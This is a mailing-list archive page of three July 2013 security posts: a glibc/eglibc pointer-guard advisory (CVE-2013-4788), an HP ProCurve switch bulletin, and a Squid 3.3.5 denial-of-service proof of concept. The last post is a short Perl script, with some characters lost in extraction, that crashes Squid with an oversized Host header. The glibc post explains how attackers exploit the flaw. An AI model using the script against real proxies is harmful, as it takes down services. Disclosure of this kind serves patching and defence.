CVE-2013-4788 - Eglibc PTR MANGLE bug

2013-07-15 Thread Hector Marco

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Hi guys,

The following is a bug that we found while we were working around
stack smashing protection techniques.


Title: CVE-2013-4788 - Eglibc PTR MANGLE bug


0.- Description

This bug was discovered in March 2013 while we were developing the RAF SSP
technique. The glibc bug makes it easy to take advantage of common
errors such
as buffer overflows allows in these cases redirect the execution flow and
potentially execute arbitrary code.


1.- Impact

All statically linked applications compiled with glibc and eglibc are
affected,
independent of the operating system distribution. Note that this problem
is not
solved by only patching the eglibc, but it is also necessary to
recompile all
static executables.  As far I know there are a lot of routers, embedded
systems
etc., which use static linked applications. Since the bug is from the
beginning
of the PTR_MANGLE implementations (years 2005-2006) there are a ton of
vulnerable devices.


2.- Vulnerable packages

The bug has been propagated to all the static code compiled with all
versions,
on all architectures, of glibc from 2.4 (06-Mar-2006) to 2.17 (Current
version).


3.- Vulnerability

The vulnerability is caused due to the non initialization to a random
value (it
is always zero) of the pointer guard by the glibc only when generating
static
compiled executables. Dynamic executables are not affected. Pointer guard is
used to mangle the content of sensible pointers (longjmp, signal handlers,
etc.), if the pointer guard value is zero (non-initialized) then it is not
effective.   An example:  Library functions like setjmp() or
longjmp() use
PTR_MANGLE and PTR_DEMANGLE. These macros are used to protect structures
like
jmp_buf. Basically consist on XOR-ing the pointer value with a random
32/64-bit
value. Since the pointer guard (random value) is 0x0 the attacker can easily
calculate off-line the value of a target address. By overwriting the env
structure with the pre-computed address the vulnerability is triggered when
longjmp() is called and the execution flow is redirected to attacker
address.

4.- Exploit

The bug was tested with Debian 7.1 and Ubunu 12.04 LTS and 13.04). I already
created a proof of concept to exploit this vulnerability for both 32 and 64
bits x86 architectures.   The proof of concept poc-bug-mangle.c redirect the
execution flow to a function which prompt a shell. This exploit can be
compiled
for both i386 and x86_64 architectures. More architectures can be added
easily
by adding the correspondent defines.  

Compilation for i386:
   gcc poc-bug-mangle.c -o poc-bug-mangle -static

Compilation for x86_64:
   gcc poc-bug-mangle.c -o poc-bug-mangle_32 -static -m32
   gcc poc-bug-mangle.c -o poc-bug-mangle_64 -static -m64

Execution output:
   b...@iti.upv.es:~$ ./poc-bug-mangle
   [+] Exploiting ...
   [+] hacked !!
   $



5.- FIX

Note that the bug is not solved by only patching the eglibc, but it is also
necessary to recompile all static executables. I have created a non official
patch ptr_mangle-eglibc-2.17.patch for the gblic-2.17.  

Patching glibc-2.17:
   wget http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch
   cd glibc-2.17
   patch -p1  ../ptr_mangle-eglibc-2.17.patch


6.- Discussion

Although this bug is not exploitable by itself, the truth is that the PTR
Mangle encryption is useless. The goal of the protection technique is not
achieved.  This can be seen as the canary stack is set to 0x0, although
is not
exploitable by itself is clearly an issue. What about whether the canary has
been set to zero from 2006 to today ? This is what happened with the
pointers
protected with this mechanism.   According to Ulrich_Drepper to use
encryption
pointers (instead of canaries) to protect structures like jmp_buf is at
least
as secure and in addition faster. Following the above and since the
protection
mechanism is useless from the first implementation, the number of
potentially
affected systems could be huge.

Patch and exploit source code:

http://hmarco.org/bugs/CVE-2013-4788.html
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with undefined - http://www.enigmail.net/

iQIcBAEBAgAGBQJR5D3CAAoJEI9kAsYMQl6irpMQAJ7vGyBETTHeyURqLmKUgofg
YRnK1ia/CszGyNSZVTCF6NIv6JMtaXsF3xvITk0dj68WMtc5DdTSMkw2XQSwzBJv
Vlh8QE6KayM+D0esBy6m7+7dLcPyshW4zTKzU6vQwAkxB+PdRKPuEwnVO3hoqtB/
cwiAhk7J2m5sTkKWVz48JJG/f6EjJRZJLaB6J2pzHPijvBCGmTeXLU4+9RnO4i0q
CoPcJai5uwDk9yRtj2iwbnHj6PIdSeJj3Sw3UJwZb9vF5gX2FQdSQJTc3yvzc3+7
UMHzuEcScFXWPJpKZGuiHU43sBu9pKvye3MUroEOcG6e4woncABRYRSQzDriN/AJ
aUpmvaFtllCA9es286GTBVN7/GGlpLb0PyfdfQW9cVgPqpFZ7Z5GQFMa+pZ/nPRZ
gM4aa2YFveQckBJS14yVMz/lyixcVxpEQH0lJbLYO6L9G+0kdaK8knUMR5q9SFYZ
GkUzauDkzsGUmDrCvam9mYqc55HOmyQETIfu34SorTOnhD2Seg+BWujbU3BJ2NI1
qIp8SrmX+7V75Jsy9p5/LzkjDXyAoSlwi/RchhtCo5Ih99ZJgjlDrtuR9C+GVBL9
36IemhVfUdM0SFIUJVcCfSMPlrZO/eCCWRnJmTCUBhox9dZ01dUHMNC0h2q/gdxt
Bp4l0er3CX70KglD5YIx
=gFhS
-END PGP SIGNATURE-



[security bulletin] HPSBPV02891 rev.1 - HP ProCurve Switches, Remote Unauthorized Information Disclosure

2013-07-15 Thread security-alert
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Note: the current version of the following document is available here:
https://h20564.www2.hp.com/portal/site/hpsc/public/kb/
docDisplay?docId=emr_na-c03819065

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c03819065
Version: 1

HPSBPV02891 rev.1 - HP ProCurve Switches, Remote Unauthorized Information
Disclosure

NOTICE: The information in this Security Bulletin should be acted upon as
soon as possible.

Release Date: 2013-07-15
Last Updated: 2013-07-15

Potential Security Impact: Remote unauthorized information disclosure

Source: Hewlett-Packard Company, HP Software Security Response Team

VULNERABILITY SUMMARY
A potential security vulnerability has been identified with HP ProCurve
Switches. The vulnerability could be remotely exploited resulting in
unauthorized information disclosure.

References: CVE-2008-7270 (SSRT101113)

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
Please refer to the RESOLUTION
 section below for a list of impacted products.

BACKGROUND

CVSS 2.0 Base Metrics
===
  Reference  Base Vector Base Score
CVE-2008-7270(AV:N/AC:M/Au:N/C:N/I:P/A:N)   4.3
===
 Information on CVSS is documented
in HP Customer Notice: HPSN-2008-002

RESOLUTION
HP has made the following software updates available to resolve the
vulnerability.

HP Branded Products Impacted
 Fixed Version

J9565A HP 2615-8-PoE Switch
J9562A HP 2915-8G-PoE Switch
 A.14.20 or A.15.06

J4850A HP ProCurve Switch 5304xl
J8166A HP ProCurve Switch 5304xl-32G
J4819A HP ProCurve Switch 5308xl
J8167A HP ProCurve Switch 5308xl-48G
J4849A HP ProCurve Switch 5348xl
J4849B HP ProCurve Switch 5348xl
J4848A HP ProCurve Switch 5372xl
J4848B HP ProCurve Switch 5372xl

 E.11.34

J8762A HP E2600-8-PoE Switch
J4900A HP PROCURVE SWITCH 2626
J4900B HP ProCurve Switch 2626
J4900C ProCurve Switch 2626
J4899A HP ProCurve Switch 2650
J4899B HP ProCurve Switch 2650
J4899C ProCurve Switch 2650
J8164A ProCurve Switch 2626-PWR
J8165A HP ProCurve Switch 2650-PWR
 H.10.108

J4903A ProCurve Switch 2824
J4904A HP ProCurve Switch 2848
 i.10.98

J9299A HP 2520-24G-PoE Switch
J9298A HP 2520-8G-PoE Switch
 J.14.61 or J.15.06

J8772B HP 4202-72 Vl Switch
J8770A HP 4204 Vl Switch Chassis
J9064A HP 4204-44G-4SFP Vl Switch
J8773A HP 4208 Vl Switch Chassis
J9030A HP 4208-68G-4SFP Vl Switch
J8775B HP 4208-96 Vl Switch
J8771A ProCurve Switch 4202VL-48G
J8772A ProCurve Switch 4202VL-72
J8774A ProCurve Switch 4208VL-64G
J8775A ProCurve Switch 4208VL-96
 L.11.38

J4906A HP E3400-48G cl Switch
J4905A HP ProCurve Switch 3400cl-24G
 M.10.95

J9021A HP 2810-24G Switch
J9022A HP 2810-48G Switch
 N.11.56

J9019B HP 2510-24 Switch
J9019A ProCurve Switch 2510-24
 Q.11.55

J9085A HP 2610-24 Switch
J9087A HP 2610-24-PoE Switch
J9086A HP 2610-24-PPoE Switch
J9088A HP 2610-48 Switch
J9089A HP 2610-48-PoE Switch

 R.11.92

J9138A HP 2520-24-PoE Switch
J9137A HP 2520-8-PoE Switch
 S.14.36 or S.15.06

J9020A HP 2510-48 Switch
 U.11.43

J9279A HP 2510-24G Switch
J9280A HP 2510-48G Switch
 Y.11.38

HISTORY
Version:1 (rev.1) - 15 July 2013 Initial Release

Third Party Security Patches: Third party security patches that are to be
installed on systems running HP software products should be applied in
accordance with the customer's patch management policy.

Support: For issues about implementing the recommendations of this Security
Bulletin, contact normal HP Services support channel.  For other issues about
the content of this Security Bulletin, send e-mail to security-al...@hp.com.

Report: To report a potential security vulnerability with any HP supported
product, send Email to: security-al...@hp.com

Subscribe: To initiate a subscription to receive future HP Security Bulletin
alerts via Email:
http://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins

Security Bulletin Archive: A list of recently released Security Bulletins is
available here:
https://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/

Software Product Category: The Software Product Category is represented in
the title by the two characters following HPSB.

3C = 3COM
3P = 3rd Party Software
GN = HP General Software
HF = HP Hardware and Firmware
MP = MPE/iX
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PI = Printing and Imaging
PV = ProCurve
ST = Storage Software
TU = Tru64 UNIX
UX = HP-UX

Copyright 2013 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors
or omissions contained herein. The information provided is provided as is
without warranty of any kind. To the extent permitted by law, neither HP or
its affiliates, subcontractors or suppliers will be liable for
incidental,special or consequential damages including downtime cost; lost
profits;damages relating to the procurement of 

Squid-3.3.5 DoS PoC

2013-07-15 Thread king cope
#Squid Crash PoC
#Copyright (C) Kingcope 2013
#tested against squid-3.3.5
#this seems to be the patch for the vulnerability:
#http://www.squid-cache.org/Versions/v3/3.3/squid-3.3.8.patch
#The squid-cache service will respawn, looks like a kind of assert exception:
#2013/07/15 20:48:36 kid1| Closing HTTP port 0.0.0.0:3128
#2013/07/15 20:48:36 kid1| storeDirWriteCleanLogs: Starting...
#2013/07/15 20:48:36 kid1|   Finished.  Wrote 0 entries.
#2013/07/15 20:48:36 kid1|   Took 0.00 seconds (  0.00 entries/sec).
#FATAL: Bungled (null) line 9: snmp_access deny all
#Squid Cache (Version 3.2.11): Terminated abnormally.
#CPU Usage: 0.020 seconds = 0.012 user + 0.008 sys
#Maximum Resident Size: 33312 KB
#Page faults with physical i/o: 0
#Memory usage for squid via mallinfo():
#total space in arena:4100 KB
#Ordinary blocks: 4046 KB  7 blks
#Small blocks:   0 KB  0 blks
#Holding blocks:   564 KB  2 blks
#Free Small blocks:  0 KB
#Free Ordinary blocks:  53 KB
#Total in use:4610 KB 112%
#Total free:53 KB 1%
#2013/07/15 20:48:39 kid1| Starting Squid Cache version 3.2.11 for
i686-pc-linux-gnu...
#2013/07/15 20:48:39 kid1| Process ID 2990

use IO::Socket;

my $sock = IO::Socket::INET-new(PeerAddr = '192.168.27.146',
  PeerPort = '3128',
  Proto= 'tcp');
$a = yc x 2000;
print $sock HEAD http://yahoo.com/ HTTP/1.1\r\nHost: yahoo.com:$a\r\n\r\n;
while($sock) {
print;
}